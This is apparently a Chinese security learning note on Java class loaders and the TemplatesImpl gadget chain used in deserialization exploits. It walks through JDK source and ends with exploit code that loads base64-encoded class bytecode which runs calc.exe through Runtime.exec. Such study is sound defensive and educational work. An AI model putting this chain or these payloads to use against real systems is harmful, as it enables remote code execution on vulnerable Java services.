Classloader Learning

原理

/img/Classloader-learning/1.png

继承关系

/img/Classloader-learning/2.png

双亲委派机制

/img/Classloader-learning/3.png

自定义loader

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package com.example;

import java.io.*;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;

public class FileClassLoader extends ClassLoader{
    protected String basePath;

    public FileClassLoader(String basePath){
        super();
        this.basePath = basePath;
    }
    @Override
    protected Class<?> findClass(String name){
        byte[] arr;
        try {
            Path path = Paths.get(this.basePath, name + ".class");
           arr = Files.readAllBytes(path);
            return defineClass(name, arr, 0, arr.length);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return null;
    }
    public static void main(String[] args) throws Exception{
        ClassLoader classLoader = new FileClassLoader("D:\\");
        Class clazz = classLoader.loadClass("Hello");
        clazz.newInstance();
    }
}

URLloader

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
package com.example;


import java.net.URL;
import java.net.URLClassLoader;

public class Demo {
    public static void main(String[] args) throws Exception{
        URL url = new URL("http://127.0.0.1:8000/");
        URLClassLoader loader = new URLClassLoader(new URL[]{url});
        Class clazz = loader.loadClass("Hello");
        clazz.newInstance();
    }
}

ClassLoader#defineClass

获取ClassLoader方式

1
2
3
ClassLoader loader = Thread.currentThread().getContextClassLoader();
ClassLoader loader = ClassLoader.getSystemClassLoader();
ClassLoader loader = this.getClass().getClassLoader();

playload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
package com.example;

import java.lang.reflect.*;
import java.util.Base64;

public class Demo {
    public static void main(String[] args) throws Exception{
        String exp = "yv66vgAAADQAIQoACAASCgATABQIABUKABMAFgcAFwoABQAYBwAZBwAaAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEADVN0YWNrTWFwVGFibGUHABkHABcBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwACQAKBwAbDAAcAB0BAAhjYWxjLmV4ZQwAHgAfAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAIAAKAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAQABAAkACgABAAsAAABgAAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQACAAwAAAAaAAYAAAACAAQABAANAAcAEAAFABEABgAVAAgADQAAABAAAv8AEAABBwAOAAEHAA8EAAEAEAAAAAIAEQ==";
        byte[] code = Base64.getDecoder().decode(exp);
        ClassLoader loader = ClassLoader.getSystemClassLoader(); // AppClassLoader
        Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defineClassMethod.setAccessible(true);
        Class clazz = (Class) defineClassMethod.invoke(loader, "Hello", code, 0, code.length);
        clazz.newInstance();
    }
}

TemplatesImpl

因为 defineClass 的作用域往往都是不开放的, 攻击者一般很难利用到它, 所以接下来我们引入 TemplatesImpl 这条非常重要的利用链, 它是各大反序列化链 (cc, rome, fastjson) 利用的基础

TemplatesImpl 的全类名是 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl, 其内部实现了一个 TransletClassLoader

具体的调用链

1
2
3
4
5
TemplatesImpl#getOutputProperties()
TemplatesImpl#newTransformer()
TemplatesImpl#getTransletInstance()
TemplatesImpl#defineTransletClasses()
TransletClassLoader#defineClass()

然后我们自己来看看吧,这里就从getOutputProperties开始分析

1
2
3
4
5
6
7
8
public synchronized Properties getOutputProperties() {  
    try {  
        return newTransformer().getOutputProperties();  
    }  
    catch (TransformerConfigurationException e) {  
        return null;  
    }  
}

这里调用了newTransformer,然后我们这里传入的是TemplatesImpl的对象,所以我们就进入到TemplatesImpl中

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
public synchronized Transformer newTransformer()  
    throws TransformerConfigurationException  
{  
    TransformerImpl transformer;  
  
    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,  
        _indentNumber, _tfactory);  
  
    if (_uriResolver != null) {  
        transformer.setURIResolver(_uriResolver);  
    }  
  
    if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {  
        transformer.setSecureProcessing(true);  
    }  
    return transformer;  
}

可以看到这里new 了一个TemplatesImpl,然后调用了一个getTransletInstance方法然后我们跟进

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
private Translet getTransletInstance()  
    throws TransformerConfigurationException {  
    try {  
        if (_name == null) return null;  
  
        if (_class == null) defineTransletClasses();  
  
        // The translet needs to keep a reference to all its auxiliary  
        // class to prevent the GC from collecting them        AbstractTranslet translet = (AbstractTranslet)  
                _class[_transletIndex].getConstructor().newInstance();  
        translet.postInitialization();  
        translet.setTemplates(this);  
        translet.setOverrideDefaultParser(_overrideDefaultParser);  
        translet.setAllowedProtocols(_accessExternalStylesheet);  
        if (_auxClasses != null) {  
            translet.setAuxiliaryClasses(_auxClasses);  
        }  
  
        return translet;  
    }  
    catch (InstantiationException | IllegalAccessException |  
            NoSuchMethodException | InvocationTargetException e) {  
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);  
        throw new TransformerConfigurationException(err.toString(), e);  
    }  
}

然后做两个判断后,走到defineTransletClasses

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
private void defineTransletClasses()  
    throws TransformerConfigurationException {  
  
    if (_bytecodes == null) {  
        ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);  
        throw new TransformerConfigurationException(err.toString());  
    }  
  
    TransletClassLoader loader =  
            AccessController.doPrivileged(new PrivilegedAction<TransletClassLoader>() {  
            public TransletClassLoader run() {  
                return new TransletClassLoader(ObjectFactory.findClassLoader(),  
                        _tfactory.getExternalExtensionsMap());  
            }  
        });  
  
    try {  
        final int classCount = _bytecodes.length;  
        _class = new Class<?>[classCount];  
  
        if (classCount > 1) {  
            _auxClasses = new HashMap<>();  
        }  
  
        // create a module for the translet  
  
        String mn = "jdk.translet";  
  
        String pn = _tfactory.getPackageName();  
        assert pn != null && pn.length() > 0;  
  
        ModuleDescriptor descriptor =  
            ModuleDescriptor.newModule(mn, Set.of(ModuleDescriptor.Modifier.SYNTHETIC))  
                            .requires("java.xml")  
                            .exports(pn, Set.of("java.xml"))  
                            .build();  
  
        Module m = createModule(descriptor, loader);  
  
        // the module needs access to runtime classes  
        Module thisModule = TemplatesImpl.class.getModule();  
        // the module also needs permission to access each package  
        // that is exported to it        PermissionCollection perms =  
            new RuntimePermission("*").newPermissionCollection();  
        Arrays.asList(Constants.PKGS_USED_BY_TRANSLET_CLASSES).forEach(p -> {  
            thisModule.addExports(p, m);  
            perms.add(new RuntimePermission("accessClassInPackage." + p));  
        });  
  
        CodeSource codeSource = new CodeSource(null, (CodeSigner[])null);  
        ProtectionDomain pd = new ProtectionDomain(codeSource, perms,  
                                                   loader, null);  
  
        // java.xml needs to instantiate the translet class  
        thisModule.addReads(m);  
  
        for (int i = 0; i < classCount; i++) {  
            _class[i] = loader.defineClass(_bytecodes[i], pd);  
            final Class<?> superClass = _class[i].getSuperclass();  
  
            // Check if this is the main class  
            if (superClass.getName().equals(ABSTRACT_TRANSLET)) {  
                _transletIndex = i;  
            }  
            else {  
                _auxClasses.put(_class[i].getName(), _class[i]);  
            }  
        }  
  
        if (_transletIndex < 0) {  
            ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);  
            throw new TransformerConfigurationException(err.toString());  
        }  
    }  
    catch (ClassFormatError e) {  
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);  
        throw new TransformerConfigurationException(err.toString(), e);  
    }  
    catch (LinkageError e) {  
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);  
        throw new TransformerConfigurationException(err.toString(), e);  
    }  
}

这个地方着重看一下 defineTransletClasses 先判断 _bytecodes 是否为 null, 然后实例化了 TransletClassLoader

之后获取 _bytecodes.length 作为 classCount (_bytecodes 是一个二维数组, 它的长度表示一共有几组字节码需要被加载)

接着遍历 _bytecodes 并且调用 loader.defineClass() 将返回值赋给 _class 数组

最后会判断该 Class 是否继承自 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet, 如果条件为真, 就将 _transletIndex 赋为 Class 对应的索引

走到这里就加载完了然后又回到getTransletInstance

主要看这

1
2
3
_class[_transletIndex].getConstructor().newInstance();  
        translet.postInitialization();  
        translet.setTemplates(this); 

此时class就是其对象,然后就实例化他,造成命令执行

最后exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package com.example;  
  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
  
import java.lang.reflect.*;  
import java.util.*;  
import java.util.Properties;  
  
public class Hello {  
    public static void main(String[] args) throws Exception{  
        String exp = "yv66vgAAADQAJwoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEADVN0YWNrTWFwVGFibGUHAB4HABwBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAApFeGNlcHRpb25zBwAgAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAApIZWxsby5qYXZhDAAJAAoHACEMACIAIwEACGNhbGMuZXhlDAAkACUBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAmAAoBABFjb20vZXhhbXBsZS9IZWxsbwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABwAIAAAAAAADAAEACQAKAAEACwAAAGAAAgACAAAAFiq3AAG4AAISA7YABFenAAhMK7YABrEAAQAEAA0AEAAFAAIADAAAABoABgAAAAoABAAMAA0ADwAQAA0AEQAOABUAEAANAAAAEAAC/wAQAAEHAA4AAQcADwQAAQAQABEAAgALAAAAGQAAAAMAAAABsQAAAAEADAAAAAYAAQAAABUAEgAAAAQAAQATAAEAEAAUAAIACwAAABkAAAAEAAAAAbEAAAABAAwAAAAGAAEAAAAaABIAAAAEAAEAEwABABUAAAACABY=";  
        byte[] code = Base64.getDecoder().decode(exp);  
        TemplatesImpl templates = new TemplatesImpl();  
        setFieldValue("_name","evil",templates);  
        setFieldValue("_bytecodes",new byte[][]{code},templates);  
        setFieldValue("_tfactory", new TransformerFactoryImpl(), templates);  
        templates.getOutputProperties();  
  
    }  
    public static void setFieldValue(String name, Object value, Object obj) throws Exception{  
        Field f = obj.getClass().getDeclaredField(name);  
        f.setAccessible(true);  
        f.set(obj, value);  
    }  
}